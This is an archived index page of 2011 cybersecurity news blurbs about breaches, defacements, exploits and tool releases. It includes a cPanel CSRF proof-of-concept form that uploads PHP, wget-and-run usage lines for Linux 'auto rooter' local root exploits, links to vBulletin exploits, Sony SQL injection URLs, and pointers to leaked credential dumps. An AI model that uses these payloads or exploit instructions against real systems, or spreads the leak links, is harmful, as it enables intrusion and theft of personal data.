-->
#1 Trusted Cybersecurity News Platform
Followed by 5.40+ million
The Hacker News Logo
Subscribe – Get Latest News

The Hacker News | #1 Trusted Source for Cybersecurity News — Index Page

Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script !

Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script !

May 28, 2011
Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script ! cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well. Proof Of Concept : <html> < form   name = "editform"   action=" http://localhost:2082/frontend/x3/err/savefile.html"  method = POST onSubmit = "return loadfdata();" > < input   type = "hidden"   id = "codepage"   class = "codepress html"   name = "page" value="<?php echo 'ninjashell'; ?>"> < input   type = "hidden"   name = "domain"   value = "localhost" > < input   type = "hidden"   value = "public_html/"   name = "dir" > < input   type = ...
XSS Vulnerability found on Sony PlayStation Store Website

XSS Vulnerability found on Sony PlayStation Store Website

May 28, 2011
XSS Vulnerability found on Sony PlayStation Store Website XSS Vulnerability found on Sony PlayStation Store Website at  https://store.playstation.com/ ,This  Vulnerability is posted by someone on a Forum site. The XSS is working on Firefox Browser, Not applicable for Crome Browser. Here in Screenshot you can see that, The backlink Code behind " Back " button has been modified using XSS attack.  Proof of Concept : 1.) Open Url in Firefox : Click Here 2.) Now Click on the Back Button shown at middle of the page. You will be Redirected to Google.com . This XSS Vulnerability can be misused By hackers for Phishing or any Cyber Crime Activity. We have Notice that, almost 70% Sony's websites are Vulnerable with various Flaws. Sony Should Fix it as soon as possible, Before any next hack attack. Thanks.
R00TW0RM Linux Auto rooter for 2010 kernel Coded by CrosS

R00TW0RM Linux Auto rooter for 2010 kernel Coded by CrosS

May 28, 2011
R00TW0RM Linux Auto rooter for 2010 kernel Coded by CrosS Roots linux server Automatically if the Kernel version is still vulnerable to exploit. Previously a 2009 Auto rooter was Released and now 2010 is being released. for more updated like 2011 and other Exploits and Methods stay in touch with http://r00tw0rm.com/forum | R00TW0RM - Private Community Download :  http://r00tw0rm.com/CrosS- 2010.txt Usage : Just upload/fetch/wget and give sommand => perl CrosS-2010.txt Also see :  R00TW0RM Linux Auto rooter for 2009 kernel Coded by CrosS
cyber security

Master High-Velocity Defense: SentinelOne's Virtual Cyber Threat Forum 2026

websiteSentinelOneCyber Resilience / Threat Intel
See Jayson E. Street deconstruct a bank breach and learn to hunt high-velocity threats at machine speed.
cyber security

99% of Mythos Findings Remain Unpatched. Defenders Are Building the Response

websitePicus SecurityAI Security / Security Validation
Autonomous Validation Summit, May 12 and 14. Register free and get 12 recommendations for the Mythos era.
Anonymous Takes Down U.S. Chamber Of Commerce for PROTECT IP Act

Anonymous Takes Down U.S. Chamber Of Commerce for PROTECT IP Act

May 28, 2011
Anonymous Takes Down U.S. Chamber Of Commerce  for PROTECT IP Act  Anonymous collective launches DDoS attack against the business lobbying group over it’s support for the legislation to fight online infringement that many fear will great expand the govt’s ability to filter the Internet. Anonymous began targeting the US Chamber of Commerce for its support of the controversial “ Preventing Real Online Threats to Economic Creativity and Theft of Intellectual Property Act of 2011 .” The US Chamber of Commerce has been outspoken about its support for the “ PROTECT IP Act. ” It believes the legislation is necessary to “ cut of rogue sites ” and protect US jobs. Anonymous managed to take the site –  uschamber.com  – down.
Honda hacked - 283,000 car owners personal data Leaked !

Honda hacked - 283,000 car owners personal data Leaked !

May 28, 2011
While Tokyo-based Sony Corp. battles massive data security breaches, Japanese carmaker Honda is confronting its own online challenge — the theft of personal information from 283,000 Honda and Acura customers in Canada. Jerry Chenkin, executive vice-president and chief compliance officer at Honda Canada Inc., confirmed Thursday that names, addresses and vehicle identification numbers were taken from the company's e-commerce websites myHonda and myAcura, with suspicious activity on the site first detected in late February. In a letter to affected vehicle owners dated May 13 and obtained by the Star, Honda Canada said it was alerted by unusual volume on the sites, including “some unauthorized attempts to access account information.” The letter said financial information was not compromised. Honda, which does not sell customer data to third parties, is investigating the incident, which has been reported to police. Perpetrators have not been identified and no group has claimed res...
Hackers broke into Lockheed Martin networks & U.S. defense contractors !

Hackers broke into Lockheed Martin networks & U.S. defense contractors !

May 28, 2011
Unknown hackers have broken into the security networks of Lockheed Martin Corp and several other U.S. military contractors, a source with direct knowledge of the attacks told Reuters. They breached security systems designed to keep out intruders by creating duplicates to "SecurID" electronic keys from EMC Corp's RSA security division, said the person who was not authorized to publicly discuss the matter. It was not immediately clear what kind of data, if any, was stolen by the hackers. But the networks of Lockheed and other military contractors contain sensitive data on future weapons systems as well as military technology currently used in battles in Iraq and Afghanistan. Weapons makers are the latest companies to be breached through sophisticated attacks that have pierced the defenses of huge corporations including Sony, Google Inc and EMC Corp. Security experts say that it is virtually impossible for any company or government agency to build a security network th...
ICC Twenty20 World Cup 2012 website Hacked !

ICC Twenty20 World Cup 2012 website Hacked !

May 28, 2011
ICC Twenty20 World Cup 2012 website Hacked ! Hacked site link :  http://twenty20worldcup2012.co.in/
Israeli Server with 96 websites Hacked by J|nX

Israeli Server with 96 websites Hacked by J|nX

May 28, 2011
Israeli Server with 96 websites Hacked by J|nX J|nX hack into a Israeli Server that having 96 websites with Israeli domains. List of hacked sites are :  http://pastebin.com/if48FWtN
Origami 1.0 released - Pdf manipulation framework !

Origami 1.0 released - Pdf manipulation framework !

May 27, 2011
Origami is a framework for PDF documents manipulation written in pure Ruby. It can be used to analyze or create malicious PDF documents. Being written in Ruby, the core engine of Origami is totally scriptable and can be used for automated tasks on large sets of documents. A GTK graphical interface is also available for manually browsing through the inner objects of a PDF document. The philosophy behind Origami is the following: Support for both reading and writing to PDF documents. Origami is able to create documents from scratch, read existing documents and modify them. Each new feature added must be compatible with reading and writing. Handling a large subset of the PDF specification. Origami focuses on features from the PDF specification which can be used to obfuscate documents or provide offensive capabilities. Being flexible and extensible. Origami can be used in many ways, even if you are new to the Ruby language. Origami supports many advanced features of the PDF spec...
R00TW0RM Linux Auto rooter for 2009 kernel Coded by CrosS

R00TW0RM Linux Auto rooter for 2009 kernel Coded by CrosS

May 27, 2011
R00TW0RM Linux Auto rooter for 2009 kernel Coded by CrosS Linux Server with Kernel 2009 are still vulnerable to exploit . This Exploit is Auto Rooting Exploit, with one Exploit you are able to Get root access to any Linux machine. Its a local root exploit so for that, you have to upload it on same machine before usage. See below for Download link and Usage help : Download Link: http://r00tw0rm.com/CrosS-2009.txt Usage : Just upload/fetch/wget and give sommand => perl CrosS-2009.txt Submitted By : /UnKnown/
NIIT Technologies GIS subsidiary’s server hacked by Tigers of Indian Cyber (TIC)

NIIT Technologies GIS subsidiary’s server hacked by Tigers of Indian Cyber (TIC)

May 26, 2011
NIIT Technologies GIS subsidiary ’s server hacked by Tigers of Indian Cyber (TIC) A server belonging to NIIT GIS Limited, an NIIT Technologies subsidiary, was compromised last week using a SQL injection attack by a hacking group calling itself the ‘Tigers of Indian Cyber’ (TIC). TIC posted the disclosure in an open security forum giving proof of concept, and a complete list of account credentials. It has since come to light that NIIT GIS’ server was compromised — not the servers at NIIT Technologies. The breach was independently verified by Omair, a security consultant with Network Intelligence India (NII). Omair said that the hack was genuine, and was verified with the link posted by TIC as proof of concept. “The executed query enumerates expected information from the database tables,” says Omair. Initial communication with NIIT Technologies revealed that the company was ignorant of the situation. After being informed by SearchSecurity.in of the particulars, the breach was detec...
Internet Explorer vulnerable to Cookie-jacking

Internet Explorer vulnerable to Cookie-jacking

May 26, 2011
Internet Explorer vulnerable to Cookie-jacking A security researcher has devised an attack that remotely steals digital credentials used to access user accounts on Facebook and other websites by exploiting a flaw in Microsoft's Internet Explorer browser. Independent researcher Rosario Valotta demonstrated his “cookiejacking” proof of concept last week at the Hack in the Box security conference in Amsterdam. It exploits a flaw that's present in all current versions of IE to steal session cookies that Facebook and other websites issue once a user has entered a valid password and corresponding user name. The cookie acts as a digital credential that allows the user to access a specific account. The proof of concept code specifically targets cookies issued by Facebook, Twitter and Google Mail, but Valotta said the technique can be used on virtually any website and affects all versions of Windows. “You can steal any cookie,” he told The Register. “There is a huge customer base...
Fimap v.0.9 released - Local and Remote file inclusion auditing Tool

Fimap v.0.9 released - Local and Remote file inclusion auditing Tool

May 26, 2011
Fimap v.0.9 released - Local and Remote file inclusion auditing Tool fimap is a little python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection. Download :  http://code.google.com/p/fimap/downloads/list
Security Alert : vBulletin 4.X Security SQL Injection & CSRF/XSRF Exploits available !

Security Alert : vBulletin 4.X Security SQL Injection & CSRF/XSRF Exploits available !

May 25, 2011
Security Alert : vBulletin 4.X  -  SQL Injection & CSRF/XSRF  Exploits available ! Two Serious Security Flaws are detected in  vBulletin 4.X Versions and also their Security SQL Injection & CSRF/XSRF Exploits are now also available. Impact of these Flaws: Lots of big Forums are on  vBulletin 4.X version and these Forums can be hacker easily using the exploits by any hacker. We would like to Request Admins to Patch their Forums as soon as possible. vBulletin 4.X Security Patch http://www.vbulletin.com/forum/showthread.php/376995-vBulletin-4.X-Security-Patch?AID=804495&PID=564936 Exploits are available at SQL Injection  :  http://www.1337day.com/exploits/16147 CSRF/XSRF     :   http://www.1337day.com/exploits/16160
Smsgwadapter Server Admin Credentials Revealed !

Smsgwadapter Server Admin Credentials Revealed !

May 25, 2011
Smsgwadapter Server Admin Credentials Revealed ! A Indian hacker, hack into the one of the SMS Server (Smsgwadapter) at 122.165.52.84 IP address. According to the hacker, This is the most unsecured Server got owned by a simple password guessing. In screenshot you can see the desktop of same server after login by him. This IP address actually was of http://smsgwadapter.dadp.com  which is client of  Reliance Industries Limited, That can be checked here :   . http://whois.domaintools.com/dadp.com  . The Domain looks to be down, But server at  122.165.52.84 is working and at Risk !  The Server name is "RIMSMS" and User "administrator" , Cant share password for Security Reasons. If you are a Server admin, Then the 1st rule is always that keep some special characters in your password, well in this case the password is  a very simple word. News Provied by : Saurav (  hack ersbay.in  )
Comodo Hacked - Reseller private data exposed !

Comodo Hacked - Reseller private data exposed !

May 25, 2011
Comodo Hacked - Reseller private data exposed ! Another official reseller of SSL certificate authority Comodo has suffered a security breach that allowed attackers to gain unauthorized access to data. Brazil-based ComodoBR is at least the fourth Comodo partner to be compromised this year. Customer details like organization names, addresses, telephones, domain names, type of web servers, serial numbers and more, are also included. There is also a list of what appears to be employee accounts, with @comdobr.com email addresses and hashed passwords. The password for an account called validacao@comodobr.com (validation@) is listed in plain text. Posted at  http://pastebin.com/9qwdL1pA  &  http://pastebin.com/F5nUf5kr
Hashbot - Forensic web tool to acquire and validate the web pages !

Hashbot - Forensic web tool to acquire and validate the web pages !

May 25, 2011
What is hashbot? Hashbot is a forensic web tool to acquire and validate, over time, the status of an individual web page or web document. Feature : Acquire Follow these steps to acquire a web document: Insert the document's URL (ie: http://www.evilwebpage.com/image.jpg or http://www.evilwebpage.com/page.html) in the text input. Select your favorite user agent. Click on Submit. A captcha code will be required, for security reason. Wait for acquisition service finish and click on download to save the result. Validate Validation informations are stored in the -code.txt file in "Validate Info". Insert the keycode in "CODE" field. Insert the file hash chosing between MD5 or SHA1 in the "HASH FILE" field. Select the file hash type according with the hash type filled in the previous field. Click on Submit. A captcha code will be required, for security reason and wait for server response. Tool :  https://www.hashbot.com/
Microsoft Patches Hotmail Security Vulnerability !

Microsoft Patches Hotmail Security Vulnerability !

May 25, 2011
Microsoft recently patched a Hotmail security flaw that enabled attackers to access a user's e-mails and contacts. "The vulnerability was actively being exploited using emails that contained malicious scripts,  Trend Micro researcher Karl Dominguez  said Monday," writes The Register's Dan Goodin . "Successful attacks required only that a Hotmail user open the malicious email or view it in a preview window." "Trend  first disclosed the bug  on May 13," Goodin writes. "Monday's blog post said Microsoft has since plugged the hole, which resided in CSS, or cascading style sheet functionality, but didn't say when." Go to " Exploited Hotmail bug stole email without warning " to read the details.
9 Pakistani websites hacked By D-f33t Cr3\v/

9 Pakistani websites hacked By D-f33t Cr3\v/

May 25, 2011
9 Pakistani websites hacked By D-f33t Cr3\v/ D-f33t Cr3\v/ an Indian hacker deface 9 websites of Pakistan. The hacked sites listed here :  http://pastebin.com/9Jqnyrkj
Sony Ericsson Got Hacked by Idahc - Lebanese hacker

Sony Ericsson Got Hacked by Idahc - Lebanese hacker

May 24, 2011
Sony Ericsson  Got Hacked by Idahc - Lebanese hacker  ! Again, DAMN ... Whats Going on with Sony ?.. Idahc , A Lebanese hacker hack The database of ca.eshop.sonyericsson.com with a simple sql injection. Two attacks on Sony in one day. Today's Morning  LulzSec Leak Sony's Japanese websites Database  and Now Sony Ericsson's Eshop Database Hacked. Email, Password and names of 1000's of users are exposed via text file on pastebin. The news is provided by Hacker via email that they have extract the whole database and they leak the data online via their Facebook/Twitter Accounts. The Pastebin link is  http://pastebin.com/4YGAWxQZ  .  Now Its 10th Attack on Sony . Well Sony getting Free of cost Auditing by several hackers ,I think sony should be the most secure brand in future because their security holes out, and Now its Sony's Duty to Fix them as soon as possible.  Even Now every hacker is trying to hack various Sony's sites just to g...
Fedora 15 "Lovelock" released - Download Now !

Fedora 15 "Lovelock" released - Download Now !

May 24, 2011
Fedora 15 "Lovelock" released - Download Now ! This is the latest version of the Fedora Linux operating system's Desktop Edition. It's everything you need to try out Fedora — you don't have to erase anything on your current system to try it out, and it won't put your files at risk. Take Fedora for a test drive, and if you like it, you can install Fedora directly to your hard drive straight from the Live Media desktop if you like. Features :  http://fedoraproject.org/wiki/Releases/15/FeatureList FEDORA 15 DESKTOP EDITION Download Now
Impassioned Framework Download - Another Crimeware Available for Free !

Impassioned Framework Download - Another Crimeware Available for Free !

May 24, 2011
Impassioned Framework Download - Another Crimeware Available for Free ! Russo is the creator of Impassioned Framework - Browser Exploitation Kit , a subscription-based software vulnerability exploit service. He is 23 year old the young hacker, This toolkits designed to be stitched into a Web site and probe visitor PCs for security holes that can be used to surreptitiously install malicious software. Impassioned Framework Recent Attack : Security weaknesses in the hugely popular file-sharing Web site thepiratebay.org have exposed the user names, e-mail and Internet addresses of more than 4 million Pirate Bay users using this Kit. Browsers Affected : - Chrome - Firefox - Msie 6 - Msie 7 - Msie 8 - Opera - Safari Os Affected : - Windows x - Unix and OS X NON AFFECTED Best exploits currently available: - MS09_002 - MS09_043 - MS Dshow - iepeers.dll - Firefox escape - Firefox CompareTo - Java Calendar - Adobe Reader Lib - Adobe Reader newPlayer - Adobe...
LulzSec Leak Sony's Japanese websites Database !

LulzSec Leak Sony's Japanese websites Database !

May 24, 2011
LulzSec Leak Sony's Japanese websites Database ! Update : 10th Attack on Sony -->  Sony Ericsson Got Hacked by Idahca (Lebanese hacker Group) LulzSec Hacking team today Release the Sony's Japanese website Database dump via their Twitter Account. This is the 9th Attack on Sony. This attack is also using SQL Injection method. The vulnerable Links are: SQLi #1: http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419 SQLi #2: http://www.sonymusic.co.jp/bv/kadomatsu/item.php?id=30&item=4490 Database Structure Has been Leaked on a text file via Pastebin.com :  http://pastebin.com/NyEFLbyX LulzSec are the guys who cracked the Fox.com login database , including emails and passwords. Then LulzSec Hack & Leak pointless ATM information also. Last attack on Sony was also using SQL injection, Sony BMG Greece Hack . The attack on Sony are Continues , But still Sony's Security Experts are busy in only making PlayStation Live again. Th...
Popular Resources
Articles
Discover Key AI Security Gaps CISOs Face in 2026
Articles
Fix Rising Application Security Risks Driven by AI Development
Articles
Automate Alert Triage and Investigations Across Every Threat
Articles
How to Identify Risky Browser Extensions in Your Organization
Expert Insights Articles Videos
Cybersecurity Resources